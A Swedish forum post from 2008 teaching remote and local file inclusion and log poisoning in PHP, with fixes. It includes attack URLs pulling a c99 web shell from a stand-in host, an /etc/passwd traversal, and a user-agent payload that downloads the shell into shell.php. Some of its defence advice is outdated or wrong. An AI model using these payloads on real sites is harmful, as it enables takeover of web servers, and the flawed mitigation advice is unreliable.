IPB

Welcome Guest ( Log In | Register )

 
Reply to this topicStart new topic
> RFI, LFI & Log Poisoning, Hur funkar det? Och hur skyddar man sig?
myspersson
post 2008-07-24 00:46
Post #1


Furir
Group Icon

Group: Members
Posts: 12
Joined: 2006-02-14 23:20
Member No.: 684



I Denna artikel kommer vi gå igenom RFI, LFI och Log Poisoning.
Hur det funkar och hur man skyddar sig.
Jag är ingen expert innom detta område och ber er därför att ha lite överseende.

Denna information är ENDAST för lärandets syfte.
Att använda dessa tekniker är OLAGLIGT!




RFI

RFI, Eller Remote File Inclusion, som det så vackert heter
är en teknik som fler och fler använder för att "defacea" en hemsida.
RFI betyder att du inkluderar en fil, eller en hel hemsida, som kan ligga var som helst på Internet.


Kolla på denna kod t.ex ::

CODE
<?php
include($_GET['inc']);
?>


om vi nu säger att denna kod ligger i index.php
så inkluderar den datan som den får via $_GET['inc']
i och med de kan en hackare lätt ta över systemet om inte
URL inkludering är OFF i serverns webbkonfigurering.

En attack skulle kunna se ut så här : hxxp://target.com/index.php?inc=hxxp://hack3r.org/path/to/c99.txt
H*n skulle då med största sannorlikhet ha full kontroll över din hemsida.
Skulle man skriva in : hxxp://target.com/index.php?inc=hxxp://google.se
Så skulle Google.se inkluderas på sidan där include scriptet ligger.


Hur skyddar man sig?

Det finns flera olika sätt att skydda sig på.
För det första: Inkludera inte filer om du inte behöver.
För det andra kan man en array med dom filer som man tänkt sig inkludera i sin index.php fil.
CODE

$inc = $_GET['inc'];

$sidor = array('forum.php', 'meny.php', 'test.php', 'ip.php');

if(in_array($inc, $sidor))
{
include($inc);
{
else
{
// Logga ip, Banna ip.
die("Hacking Attempt!");
}


LFI

Local File Inclusion, LFI, Funkar ungefär på samma sätt som RFI.
Bara det att URL inkludering säkert är avstängt på servern.

En sida som är sårbar mot RFI är sårbar mot LFI, På ett eller annat sätt.
Om vi tänker oss att vi har samma kod i våran index.php fil.

<?php
include($_GET['inc']);
?>

Så kan vi säkerligen komma åt innehållet i etc/passwd.
I passwd lagras alla användarna på servern, och deras lösenord.
Fast i nyare system lagras lösenorden i etc/shadow, som dessvärre INTE går att inkludera.
Men!, Det finns alltid ett men!, ge inte upp än. Log poisoning finns fortfarande, Mer om detta längre ner.

Hur skyddar man sig?

på samma sätt som RFI. Dock finns det ju fler sätt att skydda sig på.

i php.ini kan du göra följande :

sätt magic_quotes_gcp till On
funktionen sätter in spec. tecken för att förhindra T.ex SQL injektioner.

använd addslashes($_GET['inc']wink.gif
kommer att sätta $_GET['inc'] inom citationstecken (') för att förhindra angrepp.


Log Poisoning

Log poisoning är en teknik som inte allt för många känner till.
denna teknik funkar endast om du kan göra en LFI på sidan.
om vi säger att du anropar index.php som är sårbar mot LFI
och skriver index.php?inc=../../../var/www/logs/access.log

Så ser du att det kommer fram en logfil.
som ser ut ungefär så här :
11.11.11.11 - - [05/Feb/2004:21:34:01 -0600] "GET /tindex.php?inc= HTTP/1.1" 200 230 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11"
11.11.11.11 - - [05/Feb/2004:21:34:04 -0600] "GET /tindex.php?inc=../../../etc/passwd HTTP/1.1" 200 175 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11"
11.11.11.11- - [05/Feb/2004:21:34:07 -0600] "GET /index.php?inc=test.php HTTP/1.1" 200 134 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11"
11.11.11.11 - - [05/Feb/2004:21:34:08 -0600] "GET /index.php?inc=../../../var/www/logs/access.log HTTP/1.1" 200 164 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11"

Som du ser så loggar serven vår user-agent
Om vi nu ändrar våran user-agent till : <?php echo "test";?>
Får vi förhoppningsvis följande restultat:
11.11.11.11 - - [05/Feb/2004:21:34:01 -0600] "GET /tindex.php?inc= HTTP/1.1" 200 230 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11"
11.11.11.11 - - [05/Feb/2004:21:34:04 -0600] "GET /tindex.php?inc=../../../etc/passwd HTTP/1.1" 200 175 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11"
11.11.11.11- - [05/Feb/2004:21:34:07 -0600] "GET /index.php?inc=test.php HTTP/1.1" 200 134 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11"
11.11.11.11 - - [05/Feb/2004:21:34:08 -0600] "GET /index.php?inc=../../../var/www/logs/access.log HTTP/1.1" 200 164 "-" "test"
Som du ser så kördes vår PHP fråga.
ändrar man då vår user-agent till :
<?php fwrite(fopen('shell.php','w'), file_get_contents('hxxp://hack3r.org/path/to/c99.txt')); die; ?>
så skapar den en fil som heter shell.php med vårat shellscript i.
Och vipps, vi har shell access w00t.gif .

Hur skyddar man sig?
Låt inte andra läsa dina loggfiler rolleyes.gif
Go to the top of the page
 
+Quote Post

Reply to this topicStart new topic
2 User(s) are reading this topic (2 Guests and 0 Anonymous Users)
0 Members:

 



RSS Lo-Fi Version Time is now: 2010-09-07 03:53